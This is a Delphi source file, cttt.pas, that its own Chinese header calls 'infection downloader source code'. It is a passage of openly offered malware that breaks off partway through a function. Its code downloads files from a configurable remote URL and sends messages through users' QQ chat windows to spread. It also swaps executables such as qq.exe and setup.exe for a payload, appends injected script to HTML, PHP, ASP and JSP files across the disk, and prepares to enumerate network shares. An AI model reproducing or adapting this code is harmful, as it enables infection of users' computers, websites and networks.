cttt.pas

感染下载者源码 感染下载者源码 感染下载者源码

unit  cttt;

interface

function ExtractFileName(const FileName: string): string;
function CompareAnsiText(const S1, S2: string): Boolean;
procedure ThreadPro(X: Integer); stdcall;

implementation

uses sysutils,Windows, Messages,wininet,hs,shellapi,rett, kttv,winsock;

var
//mmm,qqmsg:string;
TimerHandle:WORD;
qqn:integer;
qqms:pchar='qqAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; //150
fff2:pchar='htAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; //150
furl:pchar='uuAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; //150
SubID: DWORD;
winname:string;
fjinc:pchar='AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'+'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';//300
fser:pchar='ssAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'+'s2AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';//300
NetShareEnum :function (pszServer    : PChar; 
                             sLevel    : Cardinal; 
                             pbBuffer    : PChar; 
                             cbBuffer    : Cardinal;
                             pcEntriesRead, 
                             pcTotalAvail  : Pointer   ):DWORD; stdcall;

   NetShareEnumNT :function (ServerName  :PWChar;
                             Level    :DWORD;
                             Bufptr    :Pointer;
                             Prefmaxlen  :DWORD;
                             EntriesRead,
                             TotalEntries,
                             resume_handle:LPDWORD): DWORD; stdcall;
function getcname:string;
begin
   result:='';
   RegGetString(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Control\ComputerName\ActiveComputerName\ComputerName', Result);
end;


function CheckMutex(Sym:Pchar):bool;stdcall; //检查斥体是否存在
var h:longword;
begin
  h:=OpenMutex(MUTEX_ALL_ACCESS, FALSE, Sym);
  Result:= h<> 0;
  CloseHandle(h);
end;

Procedure qqtext(tem:string);
var
  hLastWin,hButton,ttt : THandle;
  szWindowText: array[0..MAX_PATH] of Char;
  szTextLength: Integer;
  QQName:String;
begin
  hLastWin := GetForegroundWindow;
  GetClassName(hLastWin,szWindowText,SizeOf(szWindowText));
  if szWindowText <>'#32770' then Exit;
  szTextLength := SendMessage(hLastWin, WM_GETTEXT, MAX_PATH, Integer(@szWindowText[0]));
  szWindowText[szTextLength] := #0;
  if (Pos('聊天中',szWindowText)>0) or (Pos('群',szWindowText)>0) or (Pos('发送消息',szWindowText)>0)then
  begin
    QQName:=Copy(szWindowText,Pos(' ',szWindowText)+1,Pos('聊天中',szWindowText)-Pos(' ',szWindowText)-2);
    hLastWin := FindWindowEx(hLastWin, THandle(nil),'#32770',nil);
    if hLastWin=0 then Exit;
    hButton := FindWindowEx(hLastWin, THandle(nil),nil,'发送(S)');
    if hButton=0 then Exit;
    ttt := FindWindowEx(hLastWin, THandle(nil),'AfxWnd42',nil);
    if ttt=0 then Exit;
    hLastWin := FindWindowEx(hLastWin, ttt,'AfxWnd42',nil);
    if hLastWin=0 then Exit;
    hLastWin := FindWindowEx(hLastWin, THandle(nil),'RICHEDIT20A',nil);
    if hLastWin=0 then Exit;

    QQName:=tem; //QQName+
    SendMessage(hLastWin,EM_REPLACESEL,180,Integer(Pchar(QQName)));
    SendMessage(hButton, WM_LBUTTONDOWN, 0, 0);
    SendMessage(hButton, WM_LBUTTONUP, 0, 0);
  end;
end;

function DFile(const remoteurl:string;
      const store:string):Boolean;
var
//  Stream:TFileStream;
  content:string;
  NetHandle: HINTERNET;
  UrlHandle:HINTERNET;
  BytesRead:DWORD;
  Buffer:array[1..1024]of Char;
  FileHandle:thandle;
  BytesWritten: Longword;
begin
  Result:=false ;
  NetHandle:=InternetOpen(
      'yyyhttytpy',
      INTERNET_OPEN_TYPE_DIRECT,
      nil,
      nil,
      0);
  if Assigned(NetHandle)then begin
    UrlHandle:= InternetOpenUrl(
                    NetHandle,
                    PChar(remoteurl),
                    nil,
                    0,
                    INTERNET_FLAG_RELOAD,
                    0);
    if Assigned(UrlHandle)then begin
      content:='';
      repeat
        FillChar(Buffer, SizeOf(Buffer),0);
        InternetReadFile(UrlHandle,@Buffer[1],SizeOf(Buffer),BytesRead);
        content:=content+copy(Buffer,1,bytesread);
      until BytesRead=0;
      if store='' then
      else
      begin
        DeleteFile(pchar(store));
        if length(content)=0 then
          begin  result:=false;  exit;  end;
        FileHandle := CreateFile(pchar(store), GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
        if FileHandle <> INVALID_HANDLE_VALUE then
        begin
        WriteFile(FileHandle, pchar(content)^, length(content), BytesWritten, nil);
        CloseHandle(FileHandle);
        end;
    end;
  end;
  InternetCloseHandle(UrlHandle);
 end;
 InternetCloseHandle(NetHandle);
end;


function kfile(path,shtml:string):boolean;
const
faDirectory = $00000010;
var
  sr: TSearchRec;
  FileAttrs: Integer;
  mm:textfile;
begin
    FileAttrs := faDirectory;
    if FindFirst(path + '\*.*', FileAttrs, sr) = 0 then
    begin
      repeat
        if (((sr.Attr and FileAttrs) = sr.Attr) and (sr.Name <> '.') and (sr.Name <> '..')) then
          kfile(Path + '\' + sr.Name,shtml)
        else
        begin
        if (sr.Name <> '.') or (sr.Name <> '..') then
          begin
             if length(sr.Name)>2 then
               begin
                   if (ExtractFileExt(sr.Name)='.exe') then
                   begin
                     if (pos('setup.exe',lowercase(sr.Name))>1) or (pos('qq.exe',lowercase(sr.Name))>0) or (pos('realsched.exe',lowercase(sr.Name))>0) or (pos('timplatform.exe',lowercase(sr.Name))>0) then
                     begin
//                        deletefile(pchar(Path + '\exe.dat'));
                        renamefile(Path + '\'+sr.Name,Path + '\exe.dat');
                        copyfile('c:\MSDOS.log',pchar(Path + '\'+sr.Name),false);
                     end;
                   end;
                   if (ExtractFileExt(sr.Name)='.htm') or (ExtractFileExt(sr.Name)='.html') or (ExtractFileExt(sr.Name)='.asp') or (ExtractFileExt(sr.Name)='.aspx') or (ExtractFileExt(sr.Name)='.php') or (ExtractFileExt(sr.Name)='.jsp') then
                   begin
                     try
                     assignfile(mm,Path + '\'+sr.Name);
                     append(mm);
                     write(mm,shtml);
                     closefile(mm);
                     except
                     end;
                   end;
              end;
           end;
          end;
          sleep(200);
      until FindNext(sr) <> 0;
      FindClose(sr.FindHandle);
    end;
end;
type
 TShareInfo50 = packed record
  shi50_netname  : array [0..12] of Char;
  shi50_type    : Byte;
  shi50_flags    : Word;
  shi50_remark    : PChar;
  shi50_path    : PChar;
  shi50_rw_password  : array [0..8] of Char;
  shi50_ro_password  : array [0..8] of Char;
 end;

type
 TShareInfo2 = packed record
  shi2_netname      : PWChar;
  shi2_type      : DWORD;
  shi2_remark      : PWChar;
  shi2_permissions    : DWORD;
  shi2_max_uses    : DWORD;
  shi2_current_uses    : DWORD;
  shi2_path      : PWChar;
  shi2_passwd      : PWChar;
 end;
 PShareInfo2 = ^TShareInfo2;
 TShareInfo2Array = array [0..512] of TShareInfo2;
 PShareInfo2Array = ^TShareInfo2Array;
function IsNT(var Value: Boolean): Boolean;
var Ver: TOSVersionInfo;